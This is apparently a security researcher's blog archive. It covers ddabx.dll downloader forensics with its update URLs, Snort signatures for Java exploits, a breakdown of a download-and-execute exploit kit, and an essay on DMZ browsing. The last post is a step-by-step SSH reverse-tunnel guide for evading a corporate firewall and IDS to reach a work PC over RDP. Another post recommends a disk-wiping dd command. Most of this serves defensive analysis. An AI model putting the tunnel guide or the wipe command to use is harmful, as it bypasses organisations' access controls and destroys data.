Update on ddabx.dll

I get a ton of hits to my blog from search engines for the string "ddabx.dll". I feel really guilty since I've been withholding knowledge from everyone who hits my site because I only have one tiny blog entry that says "what's ddabx.dll?" with no answers. Well now you can get some answers. Sorry.

After a little forensic review of ddabx.dll I determined that it's a variant of conhook. The dll itself spawns a thread and attaches to winlogon.exe, explorer.exe and a seemingly random third executable. The thread is extremely difficult to kill even using tools like Process Explorer. Most anti-virus applications are able to detect the binary located on disk (usually c:\$WINDIR\system32\ddabx.dll) but are unable to successfully remove it from the system. F-Prot was detecting it as W32/Downloader.ISZ. Most seem to fail at recognizing the binary once loaded into memory because of it's dynamic runtime alterations.

What was really killing me while I was doing my research was that it didn't appear to do anything. In many analysis it's fairly straightforward to setup a sandbox environment, run the malware and capture all of it's actions. The problem with ddabx.dll was that it didn't do anything. No outbound network connections, no new file handles, nothing.

After jumping through hoops I was finally able to do some analysis on the binary while loaded in memory. This turned up a whole host of new information. I found that the dll itself remains resident in memory waiting for the right time to download an update from updates from the following urls (really the same server):

http://ushuistov.net/cgi-bin/check/autoaff
http://202.67.220.235/cgi-bin/check/autoaff

It is this download capability that gives the malware it's designation as a "downloader" by most AV vendors. It really doesn't do much besides wait, check for updates every so often and wait some more. The dll also monitors the "health" of it's other instances and will restart any of them if tampered with.

Most of this information was not available through static analysis of the dll. I did most of my research a little outside the box by looking at the memory image of a suspended vmware machine. I'll give more details on that process another day.

If you came to this blog entry looking for the simplest way to get rid of ddabx.dll - boot with a linux live cd and issue "dd if=/dev/zero of=/dev/hda" and reinstall Windows. If you're patient I have some additional research on how most Spyware and AV agents stack up that I'll post.

Paper: Anatomy of a Phish III

Michael Ligh just released the latest in the Anatomy of a Phish series title "Anatomy of a Phish III."

As always we had a lot of fun researching and dissecting the tools and techniques used by the bad guys in their never ending quest for a debit card, CVV2 and PIN. Like all great script kiddie stories it's not complete until the bad guy leaves some incriminating evidence via IRC (Idiots Really Chat).

Don't forget to check out "Anatomy of a Phish II" and "Anatomy of a Phish I".

Snort sigs for latest Java Malware

Here are some snort signatures to detect a couple of recent pieces of Java malware. In particular the Sun Java vulnerability actively being exploited is the "Sun Java Plugin Arbitrary Package Access Vulnerability".

The signatures detect 2 different variants of this exploit. The most significant signature is the "Java runtime.exec()" which should never be seen in untrusted applets.

alert tcp any $HTTP_PORTS -> $HOME_NET any (msg:"Java runtime.exec() call"; flow:from_server,established; content:"|52 75 6e 74 69 6d 65 3b 01 00 04 65 78 65 63 01 00|"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Java private function call sun.misc.unsafe"; flow:from_server,established; content:"sun/misc/Unsafe"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Java field reflector call java.lang.reflect.field"; flow:from_server,established; content:"java/lang/reflect/Field"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Javascript unsafe applet call"; flow:from_server,established; content: "sun.misc.Unsafe"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Javascript Securitymanager class applet call"; flow:from_server,established; content: "java.lang.SecurityManager"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)

Running these signatures will trigger when either of my 2 test exploits (run at your own risk) are executed on a vulnerable machine (JRE 1.4.2_05 or prior). If executed on a patched JRE the javascript signatures will trigger.

Variant #1 (http://38.112.88.68/ads/) - http://www.opensecnet.com/testsploit.htm

snort: [1:0:1] Java field reflector call java.lang.reflect.Method [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1103

snort: [1:0:1] Java SecurityManager manipulation [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1103

snort: [1:0:1] Java field reflector call java.lang.reflect.Method [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1107

snort: [1:0:1] Java SecurityManager manipulation [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1107

snort: [1:0:1] Java runtime.exec() call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1108

Variant #2 (a.k.a fullchain.net) - http://www.opensecnet.com/test2sploit.htm

snort: [1:0:1] Javascript unsafe applet call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1112

snort: [1:0:1] Java field reflector call java.lang.reflect.field [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1114

snort: [1:0:1] Java runtime.exec() call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1114

snort: [1:0:1] Java private function call sun.misc.unsafe [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1114

snort: [1:0:1] Java field reflector call java.lang.reflect.field [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -> 172.16.30.130:1114

More Information on Java Exploit

I've come across some additional information on the java exploit story.

First, SANS Incident Storm Center and CERT have issued alerts:

• CERTs warn about old java bug being exploited
• Malicious Website Exploiting Sun Java Reflection API Vulnerability

Next I found Jouko Pynnönen who found the original bug and his advisory.

Also a news story on silicon.com from November 24, 2004 discussing the potential impact of the vulnerability.

Old Java Bug exploited from Ukraine

It's nothing new to see pages that use two or more browser vulnerabilities to infect innocent browsers. In fact Michael Ligh wrote about one of the first in Tri-mode browser exploits and followed up with Red-Headed Browsers. One of my recent blog entries talks about an exploit hosted in the Ukraine that uses java to download an and execute malware.

I wanted to provide a little more detail for those looking for information on this particular malware. This site uses 4 unique exploits. The most interesting part is the Sun JRE vulnerability. This exploits a vulnerability in the Sun JRE published in June 2004.

I have confirmed that this exploit works on all versions of JRE prior to 1.4.2_06 and 1.5.0_2. The best part about this exploit is it doesn't discriminate against browsers or operating systems. Think you can't get spyware because you run Linux, Mac OS X or Firefox? Guess again.

Also keep in mind, this vulnerability is 18 months old and there are a lot of people still vulnerable. Everybody is worried about patching Windows and IE and they forget about Java, Quicktime, Flash and the other cross-browser/OS applications that are just as dangerous.

I have some sample exploits for your own testing with links below. Be forewarned that by visiting that URL you are downloading an arbitrary executable that I claim is harmless but could be anything.

Windows - downloads and executes a copy of calc.exe
Linux - coming soon
Mac OS X - coming soon
Solaris - coming soon

Here is more information on the specific exploits and malware distributed by fullchain.net:

Exploit #1 - Sun Java Plugin Arbitrary Package Access Vulnerability
Uses:

• index.php
• sets up the java exploit with the required javascript and calls classes
• has error handling to redirect you to the MS java exploit if this fails


• Anima.class


• main applet class for exploit


• downloads class omfg


• Anima literally means spirit, soul, or breath of life.


• View the JAD disassembled version here


• omfg.class




• downloads "http://fullchain.net/psg/psj.exe"


• executes psg.exe using "Runtime.getRuntime().exec()" function


• omfg literally means "oh my freaking god"


• View the JAD disassembled version here


• psj.exe


• md5sum - 453ebbe8de81bc687180231dc5612ece


• same as web.exe used by the byteverify bug in exploit #3


• McAfee detects as "Generic Downloader.ab"


• Symantec detects as "Trojan.Desktophijack"

Exploit #2 - MS05-002 Cursor parsing vulnerability
Uses::

• index.php
• includes the ani parsing setup code
• indexit.php
• also contains the ani parsing setup code
• psg.anr
• current ani exploit used by site
• full.anr
• no longer posted but past ani exploit used by site

Exploit #3 - MS03-011 MS JVM vulnerability
Uses:

• indexit.php
• contains call specifically to the MS JVM to execute jar.jar in case both Sun and MS are installed on system
• jar.jar
• Counter.class
• Gummy.class
• VerifierBug.class
• web.exe
• Worker.class
• Xeyond.class
• web.exe
• md5sum - 453ebbe8de81bc687180231dc5612ece
• same as web.exe used by the Sun bug in exploit #1

Exploit #4 - MS04-013 MHTML vulnerability
Uses:

• main.chm

Moving Browsing to the Edge

The latest 0-day exploit for Windows caused me to reflect a bit on how we do "browsing". The problem with the WMF vulnerability was that it caught everyone by surprise and those who weren't already prepared had few effective options. The best choice available was the "patch everything" approach which tends not to scale very well.

When you look at the problem there were several effective fixes but none of them could be rolled out very quickly. The first option was use a browser other than IE and an email client other than Outlook/OE. The problem here is that if you hadn't already made the switch you weren't going to do it for more than 5 users in under a day. The next option was to use a non-Microsoft OS but again not an option if you hadn't already made the switch.

So what is the main issue? Centralization. It's tough to implement quick workarounds to browser problems. In fact I've been finding it's tough to implement workarounds in 6 months in some cases.

It occurred to me that maybe there is a better way to mitigate many of these circumstances. Maybe we should start thinking about pushing browsing to the edge. In other words let's setup a "bastion" host in a DMZ for the intent of surfing the web. We'll make this system accessible to our users via a terminal server session and let them surf with centralized security. Call this the "DMZ Terminal Server Browser" approach.

This approach has some real benefits but it also has some real risks as well. Aside from security the question is whether or not it is cost effective. Let's assume you have 500 workstations. You'll need to apply security updates to IE every 2 months on average, Java every 3 months and Flash every 6 months. Annually this equals about 6,000 updates. With a centralized browser you cut that number to 12 and you reduce the time it takes dramatically. The whole equation gets even more lopsided if users have decided to install Firefox or other plug-ins.

Benefits:

1. Patching can be done quickly and efficiently. The time to mitigate a critical IE vulnerability can be done in hours/days instead of weeks/months.


2. It's easier to make sure all critical applications are updated. There is a trend to exploit plug-ins instead of browsers such as java, flash ,etc. By centralizing browsing you limit the places to monitor and patch. I have seen a lot of patched IE installations get compromised through Java installs that haven't been patched in 6 months.


3. You can quickly change browsers and/or disable applications based on risk. For example in the WMF case you could have forced users to use Firefox as a short term measure until you had a good fix for IE.


4. In certain cases you could even use an operating system other than the users desktop OS. For example let's say you have all Windows desktops with Office you could offer Linux browsing clients with Firefox.


5. By segregating the browsing you limit the exposure of your internal network to malicious code. Let's take the worst case scenario of a blended threat that exploits browsers, web servers and utilizes email for propagation. If an internal workstation is compromised via the browser vector you now have exposed your internal network to the threat. If your browsing were restricted to a machine in a segregated network (DMZ) you will have neutralized the other 2 propagation vectors through traffic filtering.

Here are some of the risk you might face:

1. The compromise of one users could compromise all users. Depending upon your setup what may have been an isolated spyware incident could now jeopardize the privacy of all of your users.
2. There is increased risk of localized session hijacking, dns poisoning and other similar attacks.
3. Application compatibility. I've seen way too many insane java applications (mainly intranet type) that require a very specific version of java to run. There will be other issues but this could be mitigated by allowing users local browser access to internal applications and terminal server access to Internet sites.
   

I've got a few expiriments under way on a small scale to play with this idea. There are also a few Internet services that allow you to implement this idea without any of your own setup. For example Cosmopod offers a free service that gives you a Linux terminal session to browse the web, read email, IM, etc. without risk to your local PC.

Help Wanted: Identify these security nuggets

I've recently come across a couple of incidents with some odd data. If anyone out there knows the who, what, where or why of these datum let me know at matt dot richard at gmail dot com. I'll post any reasonable explanation.

User Agent: "DGD (AutoProxy4)" or just "DGD"
User Agent: "digit_may2002"
DLL: ddabx.dll (attaches to 3 random system processes sometime during the boot process)

Howto: Getting Remote Access to Windows Behind a Firewall

There are several services available to get remote access to your Windows PC such as gotomypc.com, logmein.com and many others. As a security administrator your job is probably to keep people from using these unauthorized tools and stick to the authorized ones such as your corporate VPN. Many of these services are trivial to block or detect with the right tools like a proxy server, firewall and IDS.

What happens when somebody **really** wants remote access but not through the normal channels. Maybe you're a consultant working a job where it would be nice to do some work remotely but the company won't give you remote access. Maybe you need a backup to your authorized VPN connectivity in case it goes down? Maybe you're a security admin trying to make sure your users can't do this.

I'm going to describe just one of the many ways I've seen users try to bypass access controls to get remote access. In this case the user is getting Remote Desktop Protocol (RDP) access to their work machine from home. No doubt about it RDP is a nice method of remote access, you get all the benefits of your desktop without having to be there. Most remote access systems limit you to specific applications or servers but your desktop opens the whole world to you.

Most semi-competent security administrators will have you locked up with a couple of restrictions that can make this a trial and error event. Here are a few of the obstacles you might encounter:

1) Firewalls that only permit specific ports outbound. Usually you can have good luck with http, https, ftp, dns and other standard ports. A good security admin might have these locked down really tight in which case https might be your only choice.

2) Application proxys that enforce protocols. Usually you'll find these protecting http, ftp, dns and stmp. SSH won't natively run if the protocol is being validated but you could wrap it in another utility like httptunnel or stunnel for protocol compliance.

3) IDS can detect abnormal use of ssh and give you away. This is a good reason to use a protocol wrapper like stunnel to keep your traffic from kicking up an alert. Be careful about using ssh on ports like 21 where Snort will detect ssh as an FTP buffer overflow. The IDS will also pose a problem when looking for open ports, it may detect you scanning while trying to find an open port.

Let's start with what you need: 1 Windows XP workstation with RDP enabled (HOST), one SSH client like PuTTY or the openssh client in cygwin, 1 ssh server (RELAY) running somewhere on the Internet and one workstation with an RDP client (CLIENT).

Note: I'm not going to explain how to use SSH, RDP or any other application. If you're not already familar with them you probably shouldn't be trying to illicitly access the machine behind the firewall.

1) Determine what ports (PORT) are open through the firewall from HOST to RELAY. Creative use of netcat on HOST and tcpdump on RELAY make this pretty easy. Don't scan too fast or too much, remember you don't want to trip the IDS.

2) Setup the RELAY sshd daemon to accept connections on PORT. If you're going to wrap SSH in another protocol like SSL now is the time to setup your wrapper too.

3) Setup the putty client on HOST to forward 3389 to the RELAY on some arbitrary port that you found in step 1 and configured in step 2. Example: "ssh -p 443 -R 3388:localhost:3389 user@RELAY"

4) You should now be able to RDP to HOST from RELAY assuming you have an RDP client on RELAY. Simply use "localhost" or "127.0.0.1" in your RDP client. If you would like to use a CLIENT machine keep reading.

5) On RELAY setup the ssh client to accept connections on the ethernet interface for 3389. By default SSH listens on loopback only so you'll have to explicity list the IP address of your ethernet interface. Example "ssh -L 192.168.1.1:3389:localhost:3388 user@RELAY"

6) Use your RDP client on CLIENT to connect to the IP address of RELAY.

Enjoy!